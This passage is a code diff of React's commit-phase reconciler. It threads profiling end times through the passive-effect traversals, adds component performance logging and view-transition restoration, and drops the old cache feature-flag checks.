-      previousCache = finishedWork.alternate.memoizedState.cache;
-    }
-    const nextCache = finishedWork.memoizedState.cache;
-    // Retain/release the cache. In theory the cache component
-    // could be "borrowing" a cache instance owned by some parent,
-    // in which case we could avoid retaining/releasing. But it
-    // is non-trivial to determine when that is the case, so we
-    // always retain/release.
-    if (nextCache !== previousCache) {
-      retainCache(nextCache);
-      if (previousCache != null) {
-        releaseCache(previousCache);
-      }
+  let previousCache: Cache | null = null;
+  if (finishedWork.alternate !== null) {
+    previousCache = finishedWork.alternate.memoizedState.cache;
+  }
+  const nextCache = finishedWork.memoizedState.cache;
+  // Retain/release the cache. In theory the cache component
+  // could be "borrowing" a cache instance owned by some parent,
+  // in which case we could avoid retaining/releasing. But it
+  // is non-trivial to determine when that is the case, so we
+  // always retain/release.
+  if (nextCache !== previousCache) {
+    retainCache(nextCache);
+    if (previousCache != null) {
+      releaseCache(previousCache);
     }
   }
 }
@@ -3598,24 +3499,17 @@ export function commitPassiveMountEffects(
   finishedWork: Fiber,
   committedLanes: Lanes,
   committedTransitions: Array<Transition> | null,
+  renderEndTime: number, // Profiling-only
 ): void {
-  if (__DEV__) {
-    runWithFiberInDEV(
-      finishedWork,
-      commitPassiveMountOnFiber,
-      root,
-      finishedWork,
-      committedLanes,
-      committedTransitions,
-    );
-  } else {
-    commitPassiveMountOnFiber(
-      root,
-      finishedWork,
-      committedLanes,
-      committedTransitions,
-    );
-  }
+  resetComponentEffectTimers();
+
+  commitPassiveMountOnFiber(
+    root,
+    finishedWork,
+    committedLanes,
+    committedTransitions,
+    enableProfilerTimer && enableComponentPerformanceTrack ? renderEndTime : 0,
+  );
 }
 
 function recursivelyTraversePassiveMountEffects(
@@ -3623,38 +3517,92 @@ function recursivelyTraversePassiveMountEffects(
   parentFiber: Fiber,
   committedLanes: Lanes,
   committedTransitions: Array<Transition> | null,
+  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.
 ) {
-  if (parentFiber.subtreeFlags & PassiveMask) {
+  const isViewTransitionEligible =
+    enableViewTransition &&
+    includesOnlyViewTransitionEligibleLanes(committedLanes);
+  // TODO: We could optimize this by marking these with the Passive subtree flag in the render phase.
+  const subtreeMask = isViewTransitionEligible
+    ? PassiveTransitionMask
+    : PassiveMask;
+  if (
+    parentFiber.subtreeFlags & subtreeMask ||
+    // If this subtree rendered with profiling this commit, we need to visit it to log it.
+    (enableProfilerTimer &&
+      enableComponentPerformanceTrack &&
+      parentFiber.actualDuration !== 0 &&
+      (parentFiber.alternate === null ||
+        parentFiber.alternate.child !== parentFiber.child))
+  ) {
     let child = parentFiber.child;
     while (child !== null) {
-      if (__DEV__) {
-        runWithFiberInDEV(
-          child,
-          commitPassiveMountOnFiber,
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        const nextSibling = child.sibling;
+        commitPassiveMountOnFiber(
           root,
           child,
           committedLanes,
           committedTransitions,
+          nextSibling !== null
+            ? ((nextSibling.actualStartTime: any): number)
+            : endTime,
         );
+        child = nextSibling;
       } else {
         commitPassiveMountOnFiber(
           root,
           child,
           committedLanes,
           committedTransitions,
+          0,
         );
+        child = child.sibling;
       }
-      child = child.sibling;
     }
+  } else if (isViewTransitionEligible) {
+    // We are inside an updated subtree. Any mutations that affected the
+    // parent HostInstance's layout or set of children (such as reorders)
+    // might have also affected the positioning or size of the inner
+    // ViewTransitions. Therefore we need to restore those too.
+    restoreNestedViewTransitions(parentFiber);
   }
 }
 
+let inHydratedSubtree = false;
+
 function commitPassiveMountOnFiber(
   finishedRoot: FiberRoot,
   finishedWork: Fiber,
   committedLanes: Lanes,
   committedTransitions: Array<Transition> | null,
+  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.
 ): void {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
+  const prevDeepEquality = pushDeepEquality();
+
+  const isViewTransitionEligible = enableViewTransition
+    ? includesOnlyViewTransitionEligibleLanes(committedLanes)
+    : false;
+
+  if (
+    isViewTransitionEligible &&
+    finishedWork.alternate === null &&
+    // We can't use the Placement flag here because it gets reset earlier. Instead,
+    // we check if this is the root of the insertion by checking if the parent
+    // was previous existing.
+    finishedWork.return !== null &&
+    finishedWork.return.alternate !== null
+  ) {
+    // This was a new mount. This means we could've triggered an enter animation on
+    // the content. Restore the view transitions if there were any assigned in the
+    // snapshot phase.
+    restoreEnterOrExitViewTransitions(finishedWork);
+  }
+
   // When updating this function, also update reconnectPassiveEffects, which does
   // most of the same things when an offscreen tree goes from hidden -> visible,
   // or when toggling effects inside a hidden tree.
@@ -3663,11 +3611,32 @@ function commitPassiveMountOnFiber(
     case FunctionComponent:
     case ForwardRef:
     case SimpleMemoComponent: {
+      // If this component rendered in Profiling mode (DEV or in Profiler component) then log its
+      // render time. We do this after the fact in the passive effect to avoid the overhead of this
+      // getting in the way of the render characteristics and avoid the overhead of unwinding
+      // uncommitted renders.
+      if (
+        enableProfilerTimer &&
+        enableComponentPerformanceTrack &&
+        (finishedWork.mode & ProfileMode) !== NoMode &&
+        ((finishedWork.actualStartTime: any): number) > 0 &&
+        (finishedWork.flags & PerformedWork) !== NoFlags
+      ) {
+        logComponentRender(
+          finishedWork,
+          ((finishedWork.actualStartTime: any): number),
+          endTime,
+          inHydratedSubtree,
+          committedLanes,
+        );
+      }
+
       recursivelyTraversePassiveMountEffects(
         finishedRoot,
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
       if (flags & Passive) {
         commitHookPassiveMountEffects(
@@ -3677,31 +3646,93 @@ function commitPassiveMountOnFiber(
       }
       break;
     }
+    case ClassComponent: {
+      // If this component rendered in Profiling mode (DEV or in Profiler component) then log its
+      // render time. We do this after the fact in the passive effect to avoid the overhead of this
+      // getting in the way of the render characteristics and avoid the overhead of unwinding
+      // uncommitted renders.
+      if (
+        enableProfilerTimer &&
+        enableComponentPerformanceTrack &&
+        (finishedWork.mode & ProfileMode) !== NoMode &&
+        ((finishedWork.actualStartTime: any): number) > 0
+      ) {
+        if ((finishedWork.flags & DidCapture) !== NoFlags) {
+          logComponentErrored(
+            finishedWork,
+            ((finishedWork.actualStartTime: any): number),
+            endTime,
+            // TODO: The captured values are all hidden inside the updater/callback closures so
+            // we can't get to the errors but they're there so we should be able to log them.
+            [],
+          );
+        } else if ((finishedWork.flags & PerformedWork) !== NoFlags) {
+          logComponentRender(
+            finishedWork,
+            ((finishedWork.actualStartTime: any): number),
+            endTime,
+            inHydratedSubtree,
+            committedLanes,
+          );
+        }
+      }
+
+      recursivelyTraversePassiveMountEffects(
+        finishedRoot,
+        finishedWork,
+        committedLanes,
+        committedTransitions,
+        endTime,
+      );
+      break;
+    }
     case HostRoot: {
+      const prevProfilerEffectDuration = pushNestedEffectDurations();
+
+      const wasInHydratedSubtree = inHydratedSubtree;
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        // Detect if this was a hydration commit by look at if the previous state was
+        // dehydrated and this wasn't a forced client render.
+        inHydratedSubtree =
+          finishedWork.alternate !== null &&
+          (finishedWork.alternate.memoizedState: RootState).isDehydrated &&
+          (finishedWork.flags & ForceClientRender) === NoFlags;
+      }
+
       recursivelyTraversePassiveMountEffects(
         finishedRoot,
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
+
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        inHydratedSubtree = wasInHydratedSubtree;
+      }
+
+      if (isViewTransitionEligible) {
+        if (supportsMutation && rootViewTransitionNameCanceled) {
+          restoreRootViewTransitionName(finishedRoot.containerInfo);
+        }
+      }
+
       if (flags & Passive) {
-        if (enableCache) {
-          let previousCache: Cache | null = null;
-          if (finishedWork.alternate !== null) {
-            previousCache = finishedWork.alternate.memoizedState.cache;
-          }
-          const nextCache = finishedWork.memoizedState.cache;
-          // Retain/release the root cache.
-          // Note that on initial mount, previousCache and nextCache will be the same
-          // and this retain won't occur. To counter this, we instead retain the HostRoot's
-          // initial cache when creating the root itself (see createFiberRoot() in
-          // ReactFiberRoot.js). Subsequent updates that change the cache are reflected
-          // here, such that previous/next caches are retained correctly.
-          if (nextCache !== previousCache) {
-            retainCache(nextCache);
-            if (previousCache != null) {
-              releaseCache(previousCache);
-            }
+        let previousCache: Cache | null = null;
+        if (finishedWork.alternate !== null) {
+          previousCache = finishedWork.alternate.memoizedState.cache;
+        }
+        const nextCache = finishedWork.memoizedState.cache;
+        // Retain/release the root cache.
+        // Note that on initial mount, previousCache and nextCache will be the same
+        // and this retain won't occur. To counter this, we instead retain the HostRoot's
+        // initial cache when creating the root itself (see createFiberRoot() in
+        // ReactFiberRoot.js). Subsequent updates that change the cache are reflected
+        // here, such that previous/next caches are retained correctly.
+        if (nextCache !== previousCache) {
+          retainCache(nextCache);
+          if (previousCache != null) {
+            releaseCache(previousCache);
           }
         }
 
@@ -3732,6 +3763,165 @@ function commitPassiveMountOnFiber(
           clearTransitionsForLanes(finishedRoot, committedLanes);
         }
       }
+      if (enableProfilerTimer && enableProfilerCommitHooks) {
+        finishedRoot.passiveEffectDuration += popNestedEffectDurations(
+          prevProfilerEffectDuration,
+        );
+      }
+      break;
+    }
+    case Profiler: {
+      // Only Profilers with work in their subtree will have a Passive effect scheduled.
+      if (flags & Passive) {
+        const prevProfilerEffectDuration = pushNestedEffectDurations();
+
+        recursivelyTraversePassiveMountEffects(
+          finishedRoot,
+          finishedWork,
+          committedLanes,
+          committedTransitions,
+          endTime,
+        );
+
+        const profilerInstance = finishedWork.stateNode;
+
+        if (enableProfilerTimer && enableProfilerCommitHooks) {
+          // Bubble times to the next nearest ancestor Profiler.
+          // After we process that Profiler, we'll bubble further up.
+          profilerInstance.passiveEffectDuration += bubbleNestedEffectDurations(
+            prevProfilerEffectDuration,
+          );
+        }
+
+        commitProfilerPostCommit(
+          finishedWork,
+          finishedWork.alternate,
+          // This value will still reflect the previous commit phase.
+          // It does not get reset until the start of the next commit phase.
+          commitStartTime,
+          profilerInstance.passiveEffectDuration,
+        );
+      } else {
+        recursivelyTraversePassiveMountEffects(
+          finishedRoot,
+          finishedWork,
+          committedLanes,
+          committedTransitions,
+          endTime,
+        );
+      }
+      break;
+    }
+    case ActivityComponent: {
+      const wasInHydratedSubtree = inHydratedSubtree;
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        const prevState: ActivityState | null =
+          finishedWork.alternate !== null
+            ? finishedWork.alternate.memoizedState
+            : null;
+        const nextState: ActivityState | null = finishedWork.memoizedState;
+        if (prevState !== null && nextState === null) {
+          // This was dehydrated but is no longer dehydrated. We may have now either hydrated it
+          // or client rendered it.
+          const deletions = finishedWork.deletions;
+          if (
+            deletions !== null &&
+            deletions.length > 0 &&
+            deletions[0].tag === DehydratedFragment
+          ) {
+            // This was an abandoned hydration that deleted the dehydrated fragment. That means we
+            // are not hydrating this Suspense boundary.
+            inHydratedSubtree = false;
+            const hydrationErrors = prevState.hydrationErrors;
+            // If there were no hydration errors, that suggests that this was an intentional client
+            // rendered boundary.
+            if (hydrationErrors !== null) {
+              const startTime: number = (finishedWork.actualStartTime: any);
+              logComponentErrored(
+                finishedWork,
+                startTime,
+                endTime,
+                hydrationErrors,
+              );
+            }
+          } else {
+            // If any children committed they were hydrated.
+            inHydratedSubtree = true;
+          }
+        } else {
+          inHydratedSubtree = false;
+        }
+      }
+
+      recursivelyTraversePassiveMountEffects(
+        finishedRoot,
+        finishedWork,
+        committedLanes,
+        committedTransitions,
+        endTime,
+      );
+
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        inHydratedSubtree = wasInHydratedSubtree;
+      }
+      break;
+    }
+    case SuspenseComponent: {
+      const wasInHydratedSubtree = inHydratedSubtree;
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        const prevState: SuspenseState | null =
+          finishedWork.alternate !== null
+            ? finishedWork.alternate.memoizedState
+            : null;
+        const nextState: SuspenseState | null = finishedWork.memoizedState;
+        if (
+          prevState !== null &&
+          prevState.dehydrated !== null &&
+          (nextState === null || nextState.dehydrated === null)
+        ) {
+          // This was dehydrated but is no longer dehydrated. We may have now either hydrated it
+          // or client rendered it.
+          const deletions = finishedWork.deletions;
+          if (
+            deletions !== null &&
+            deletions.length > 0 &&
+            deletions[0].tag === DehydratedFragment
+          ) {
+            // This was an abandoned hydration that deleted the dehydrated fragment. That means we
+            // are not hydrating this Suspense boundary.
+            inHydratedSubtree = false;
+            const hydrationErrors = prevState.hydrationErrors;
+            // If there were no hydration errors, that suggests that this was an intentional client
+            // rendered boundary.
+            if (hydrationErrors !== null) {
+              const startTime: number = (finishedWork.actualStartTime: any);
+              logComponentErrored(
+                finishedWork,
+                startTime,
+                endTime,
+                hydrationErrors,
+              );
+            }
+          } else {
+            // If any children committed they were hydrated.
+            inHydratedSubtree = true;
+          }
+        } else {
+          inHydratedSubtree = false;
+        }
+      }
+
+      recursivelyTraversePassiveMountEffects(
+        finishedRoot,
+        finishedWork,
+        committedLanes,
+        committedTransitions,
+        endTime,
+      );
+
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        inHydratedSubtree = wasInHydratedSubtree;
+      }
       break;
     }
     case LegacyHiddenComponent: {
@@ -3741,6 +3931,7 @@ function commitPassiveMountOnFiber(
           finishedWork,
           committedLanes,
           committedTransitions,
+          endTime,
         );
 
         if (flags & Passive) {
@@ -3754,11 +3945,22 @@ function commitPassiveMountOnFiber(
     case OffscreenComponent: {
       // TODO: Pass `current` as argument to this function
       const instance: OffscreenInstance = finishedWork.stateNode;
+      const current = finishedWork.alternate;
       const nextState: OffscreenState | null = finishedWork.memoizedState;
 
       const isHidden = nextState !== null;
 
       if (isHidden) {
+        if (
+          isViewTransitionEligible &&
+          current !== null &&
+          current.memoizedState === null
+        ) {
+          // Content is now hidden but wasn't before. This means we could've
+          // triggered an exit animation on the content. Restore the view
+          // transitions if there were any assigned in the snapshot phase.
+          restoreEnterOrExitViewTransitions(current);
+        }
         if (instance._visibility & OffscreenPassiveEffectsConnected) {
           // The effects are currently connected. Update them.
           recursivelyTraversePassiveMountEffects(
@@ -3766,22 +3968,22 @@ function commitPassiveMountOnFiber(
             finishedWork,
             committedLanes,
             committedTransitions,
+            endTime,
           );
         } else {
           if (disableLegacyMode || finishedWork.mode & ConcurrentMode) {
             // The effects are currently disconnected. Since the tree is hidden,
             // don't connect them. This also applies to the initial render.
-            if (enableCache || enableTransitionTracing) {
-              // "Atomic" effects are ones that need to fire on every commit,
-              // even during pre-rendering. An example is updating the reference
-              // count on cache instances.
-              recursivelyTraverseAtomicPassiveEffects(
-                finishedRoot,
-                finishedWork,
-                committedLanes,
-                committedTransitions,
-              );
-            }
+            // "Atomic" effects are ones that need to fire on every commit,
+            // even during pre-rendering. An example is updating the reference
+            // count on cache instances.
+            recursivelyTraverseAtomicPassiveEffects(
+              finishedRoot,
+              finishedWork,
+              committedLanes,
+              committedTransitions,
+              endTime,
+            );
           } else {
             // Legacy Mode: Fire the effects even if the tree is hidden.
             instance._visibility |= OffscreenPassiveEffectsConnected;
@@ -3790,11 +3992,22 @@ function commitPassiveMountOnFiber(
               finishedWork,
               committedLanes,
               committedTransitions,
+              endTime,
             );
           }
         }
       } else {
         // Tree is visible
+        if (
+          isViewTransitionEligible &&
+          current !== null &&
+          current.memoizedState !== null
+        ) {
+          // Content is now visible but wasn't before. This means we could've
+          // triggered an enter animation on the content. Restore the view
+          // transitions if there were any assigned in the snapshot phase.
+          restoreEnterOrExitViewTransitions(finishedWork);
+        }
         if (instance._visibility & OffscreenPassiveEffectsConnected) {
           // The effects are currently connected. Update them.
           recursivelyTraversePassiveMountEffects(
@@ -3802,6 +4015,7 @@ function commitPassiveMountOnFiber(
             finishedWork,
             committedLanes,
             committedTransitions,
+            endTime,
           );
         } else {
           // The effects are currently disconnected. Reconnect them, while also
@@ -3810,19 +4024,49 @@ function commitPassiveMountOnFiber(
           instance._visibility |= OffscreenPassiveEffectsConnected;
 
           const includeWorkInProgressEffects =
-            (finishedWork.subtreeFlags & PassiveMask) !== NoFlags;
+            (finishedWork.subtreeFlags & PassiveMask) !== NoFlags ||
+            (enableProfilerTimer &&
+              enableComponentPerformanceTrack &&
+              finishedWork.actualDuration !== 0 &&
+              (finishedWork.alternate === null ||
+                finishedWork.alternate.child !== finishedWork.child));
           recursivelyTraverseReconnectPassiveEffects(
             finishedRoot,
             finishedWork,
             committedLanes,
             committedTransitions,
             includeWorkInProgressEffects,
+            endTime,
           );
+
+          if (
+            enableProfilerTimer &&
+            enableProfilerCommitHooks &&
+            enableComponentPerformanceTrack &&
+            (finishedWork.mode & ProfileMode) !== NoMode &&
+            !inHydratedSubtree
+          ) {
+            // Log the reappear in the render phase.
+            const startTime = ((finishedWork.actualStartTime: any): number);
+            if (startTime >= 0 && endTime - startTime > 0.05) {
+              logComponentReappeared(finishedWork, startTime, endTime);
+            }
+            if (
+              componentEffectStartTime >= 0 &&
+              componentEffectEndTime >= 0 &&
+              componentEffectEndTime - componentEffectStartTime > 0.05
+            ) {
+              logComponentReappeared(
+                finishedWork,
+                componentEffectStartTime,
+                componentEffectEndTime,
+              );
+            }
+          }
         }
       }
 
       if (flags & Passive) {
-        const current = finishedWork.alternate;
         commitOffscreenPassiveMountEffects(current, finishedWork, instance);
       }
       break;
@@ -3833,6 +4077,7 @@ function commitPassiveMountOnFiber(
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
       if (flags & Passive) {
         // TODO: Pass `current` as argument to this function
@@ -3841,6 +4086,31 @@ function commitPassiveMountOnFiber(
       }
       break;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        if (isViewTransitionEligible) {
+          const current = finishedWork.alternate;
+          if (current === null) {
+            // This is a new mount. We should have handled this as part of the
+            // Placement effect or it is deeper inside a entering transition.
+          } else {
+            // Something mutated within this subtree. This might have caused
+            // something to cross-fade if we didn't already cancel it.
+            // If not, restore it.
+            restoreUpdateViewTransition(current, finishedWork);
+          }
+        }
+        recursivelyTraversePassiveMountEffects(
+          finishedRoot,
+          finishedWork,
+          committedLanes,
+          committedTransitions,
+          endTime,
+        );
+        break;
+      }
+      // Fallthrough
+    }
     case TracingMarkerComponent: {
       if (enableTransitionTracing) {
         recursivelyTraversePassiveMountEffects(
@@ -3848,6 +4118,7 @@ function commitPassiveMountOnFiber(
           finishedWork,
           committedLanes,
           committedTransitions,
+          endTime,
         );
         if (flags & Passive) {
           commitTracingMarkerPassiveMountEffect(finishedWork);
@@ -3862,10 +4133,55 @@ function commitPassiveMountOnFiber(
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode
+  ) {
+    const isMount =
+      !inHydratedSubtree &&
+      finishedWork.alternate === null &&
+      finishedWork.return !== null &&
+      finishedWork.return.alternate !== null;
+    if (isMount) {
+      // Log the mount in the render phase.
+      const startTime = ((finishedWork.actualStartTime: any): number);
+      if (startTime >= 0 && endTime - startTime > 0.05) {
+        logComponentMount(finishedWork, startTime, endTime);
+      }
+    }
+    if (componentEffectStartTime >= 0 && componentEffectEndTime >= 0) {
+      if (componentEffectSpawnedUpdate || componentEffectDuration > 0.05) {
+        logComponentEffect(
+          finishedWork,
+          componentEffectStartTime,
+          componentEffectEndTime,
+          componentEffectDuration,
+          componentEffectErrors,
+        );
+      }
+      if (isMount && componentEffectEndTime - componentEffectStartTime > 0.05) {
+        logComponentMount(
+          finishedWork,
+          componentEffectStartTime,
+          componentEffectEndTime,
+        );
+      }
+    }
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
+  popDeepEquality(prevDeepEquality);
 }
 
 function recursivelyTraverseReconnectPassiveEffects(
@@ -3874,27 +4190,36 @@ function recursivelyTraverseReconnectPassiveEffects(
   committedLanes: Lanes,
   committedTransitions: Array<Transition> | null,
   includeWorkInProgressEffects: boolean,
+  endTime: number,
 ) {
   // This function visits both newly finished work and nodes that were re-used
   // from a previously committed tree. We cannot check non-static flags if the
   // node was reused.
   const childShouldIncludeWorkInProgressEffects =
     includeWorkInProgressEffects &&
-    (parentFiber.subtreeFlags & PassiveMask) !== NoFlags;
+    ((parentFiber.subtreeFlags & PassiveMask) !== NoFlags ||
+      (enableProfilerTimer &&
+        enableComponentPerformanceTrack &&
+        parentFiber.actualDuration !== 0 &&
+        (parentFiber.alternate === null ||
+          parentFiber.alternate.child !== parentFiber.child)));
 
   // TODO (Offscreen) Check: flags & (RefStatic | LayoutStatic)
   let child = parentFiber.child;
   while (child !== null) {
-    if (__DEV__) {
-      runWithFiberInDEV(
-        child,
-        reconnectPassiveEffects,
+    if (enableProfilerTimer && enableComponentPerformanceTrack) {
+      const nextSibling = child.sibling;
+      reconnectPassiveEffects(
         finishedRoot,
         child,
         committedLanes,
         committedTransitions,
         childShouldIncludeWorkInProgressEffects,
+        nextSibling !== null
+          ? ((nextSibling.actualStartTime: any): number)
+          : endTime,
       );
+      child = nextSibling;
     } else {
       reconnectPassiveEffects(
         finishedRoot,
@@ -3902,9 +4227,10 @@ function recursivelyTraverseReconnectPassiveEffects(
         committedLanes,
         committedTransitions,
         childShouldIncludeWorkInProgressEffects,
+        endTime,
       );
+      child = child.sibling;
     }
-    child = child.sibling;
   }
 }
 
@@ -3917,7 +4243,35 @@ export function reconnectPassiveEffects(
   // from a previously committed tree. We cannot check non-static flags if the
   // node was reused.
   includeWorkInProgressEffects: boolean,
+  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.
 ) {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
+  const prevDeepEquality = pushDeepEquality();
+
+  // If this component rendered in Profiling mode (DEV or in Profiler component) then log its
+  // render time. We do this after the fact in the passive effect to avoid the overhead of this
+  // getting in the way of the render characteristics and avoid the overhead of unwinding
+  // uncommitted renders.
+  if (
+    enableProfilerTimer &&
+    enableComponentPerformanceTrack &&
+    includeWorkInProgressEffects &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    ((finishedWork.actualStartTime: any): number) > 0 &&
+    (finishedWork.flags & PerformedWork) !== NoFlags
+  ) {
+    logComponentRender(
+      finishedWork,
+      ((finishedWork.actualStartTime: any): number),
+      endTime,
+      inHydratedSubtree,
+      committedLanes,
+    );
+  }
+
   const flags = finishedWork.flags;
   switch (finishedWork.tag) {
     case FunctionComponent:
@@ -3929,6 +4283,7 @@ export function reconnectPassiveEffects(
         committedLanes,
         committedTransitions,
         includeWorkInProgressEffects,
+        endTime,
       );
       // TODO: Check for PassiveStatic flag
       commitHookPassiveMountEffects(finishedWork, HookPassive);
@@ -3948,6 +4303,7 @@ export function reconnectPassiveEffects(
           committedLanes,
           committedTransitions,
           includeWorkInProgressEffects,
+          endTime,
         );
 
         if (includeWorkInProgressEffects && flags & Passive) {
@@ -3974,22 +4330,22 @@ export function reconnectPassiveEffects(
             committedLanes,
             committedTransitions,
             includeWorkInProgressEffects,
+            endTime,
           );
         } else {
           if (disableLegacyMode || finishedWork.mode & ConcurrentMode) {
             // The effects are currently disconnected. Since the tree is hidden,
             // don't connect them. This also applies to the initial render.
-            if (enableCache || enableTransitionTracing) {
-              // "Atomic" effects are ones that need to fire on every commit,
-              // even during pre-rendering. An example is updating the reference
-              // count on cache instances.
-              recursivelyTraverseAtomicPassiveEffects(
-                finishedRoot,
-                finishedWork,
-                committedLanes,
-                committedTransitions,
-              );
-            }
+            // "Atomic" effects are ones that need to fire on every commit,
+            // even during pre-rendering. An example is updating the reference
+            // count on cache instances.
+            recursivelyTraverseAtomicPassiveEffects(
+              finishedRoot,
+              finishedWork,
+              committedLanes,
+              committedTransitions,
+              endTime,
+            );
           } else {
             // Legacy Mode: Fire the effects even if the tree is hidden.
             instance._visibility |= OffscreenPassiveEffectsConnected;
@@ -3999,6 +4355,7 @@ export function reconnectPassiveEffects(
               committedLanes,
               committedTransitions,
               includeWorkInProgressEffects,
+              endTime,
             );
           }
         }
@@ -4018,6 +4375,7 @@ export function reconnectPassiveEffects(
           committedLanes,
           committedTransitions,
           includeWorkInProgressEffects,
+          endTime,
         );
       }
 
@@ -4035,6 +4393,7 @@ export function reconnectPassiveEffects(
         committedLanes,
         committedTransitions,
         includeWorkInProgressEffects,
+        endTime,
       );
       if (includeWorkInProgressEffects && flags & Passive) {
         // TODO: Pass `current` as argument to this function
@@ -4051,6 +4410,7 @@ export function reconnectPassiveEffects(
           committedLanes,
           committedTransitions,
           includeWorkInProgressEffects,
+          endTime,
         );
         if (includeWorkInProgressEffects && flags & Passive) {
           commitTracingMarkerPassiveMountEffect(finishedWork);
@@ -4066,10 +4426,35 @@ export function reconnectPassiveEffects(
         committedLanes,
         committedTransitions,
         includeWorkInProgressEffects,
+        endTime,
       );
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      finishedWork,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
+  popDeepEquality(prevDeepEquality);
 }
 
 function recursivelyTraverseAtomicPassiveEffects(
@@ -4077,32 +4462,44 @@ function recursivelyTraverseAtomicPassiveEffects(
   parentFiber: Fiber,
   committedLanes: Lanes,
   committedTransitions: Array<Transition> | null,
+  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.
 ) {
   // "Atomic" effects are ones that need to fire on every commit, even during
   // pre-rendering. We call this function when traversing a hidden tree whose
   // regular effects are currently disconnected.
   // TODO: Add special flag for atomic effects
-  if (parentFiber.subtreeFlags & PassiveMask) {
+  if (
+    parentFiber.subtreeFlags & PassiveMask ||
+    (enableProfilerTimer &&
+      enableComponentPerformanceTrack &&
+      parentFiber.actualDuration !== 0 &&
+      (parentFiber.alternate === null ||
+        parentFiber.alternate.child !== parentFiber.child))
+  ) {
     let child = parentFiber.child;
     while (child !== null) {
-      if (__DEV__) {
-        runWithFiberInDEV(
-          child,
-          commitAtomicPassiveEffects,
+      if (enableProfilerTimer && enableComponentPerformanceTrack) {
+        const nextSibling = child.sibling;
+        commitAtomicPassiveEffects(
           finishedRoot,
           child,
           committedLanes,
           committedTransitions,
+          nextSibling !== null
+            ? ((nextSibling.actualStartTime: any): number)
+            : endTime,
         );
+        child = nextSibling;
       } else {
         commitAtomicPassiveEffects(
           finishedRoot,
           child,
           committedLanes,
           committedTransitions,
+          endTime,
         );
+        child = child.sibling;
       }
-      child = child.sibling;
     }
   }
 }
@@ -4112,7 +4509,28 @@ function commitAtomicPassiveEffects(
   finishedWork: Fiber,
   committedLanes: Lanes,
   committedTransitions: Array<Transition> | null,
+  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.
 ) {
+  const prevDeepEquality = pushDeepEquality();
+
+  // If this component rendered in Profiling mode (DEV or in Profiler component) then log its
+  // render time. A render can happen even if the subtree is offscreen.
+  if (
+    enableProfilerTimer &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    ((finishedWork.actualStartTime: any): number) > 0 &&
+    (finishedWork.flags & PerformedWork) !== NoFlags
+  ) {
+    logComponentRender(
+      finishedWork,
+      ((finishedWork.actualStartTime: any): number),
+      endTime,
+      inHydratedSubtree,
+      committedLanes,
+    );
+  }
+
   // "Atomic" effects are ones that need to fire on every commit, even during
   // pre-rendering. We call this function when traversing a hidden tree whose
   // regular effects are currently disconnected.
@@ -4124,6 +4542,7 @@ function commitAtomicPassiveEffects(
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
       if (flags & Passive) {
         // TODO: Pass `current` as argument to this function
@@ -4139,6 +4558,7 @@ function commitAtomicPassiveEffects(
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
       if (flags & Passive) {
         // TODO: Pass `current` as argument to this function
@@ -4153,18 +4573,18 @@ function commitAtomicPassiveEffects(
         finishedWork,
         committedLanes,
         committedTransitions,
+        endTime,
       );
       break;
     }
   }
+
+  popDeepEquality(prevDeepEquality);
 }
 
 export function commitPassiveUnmountEffects(finishedWork: Fiber): void {
-  if (__DEV__) {
-    runWithFiberInDEV(finishedWork, commitPassiveUnmountOnFiber, finishedWork);
-  } else {
-    commitPassiveUnmountOnFiber(finishedWork);
-  }
+  resetComponentEffectTimers();
+  commitPassiveUnmountOnFiber(finishedWork);
 }
 
 // If we're inside a brand new tree, or a tree that was already visible, then we
@@ -4177,47 +4597,91 @@ export function commitPassiveUnmountEffects(finishedWork: Fiber): void {
 // already in the "current" tree. Because their visibility has changed, the
 // browser may not have prerendered them yet. So we check the MaySuspendCommit
 // flag instead.
-let suspenseyCommitFlag = ShouldSuspendCommit;
-export function accumulateSuspenseyCommit(finishedWork: Fiber): void {
-  accumulateSuspenseyCommitOnFiber(finishedWork);
+//
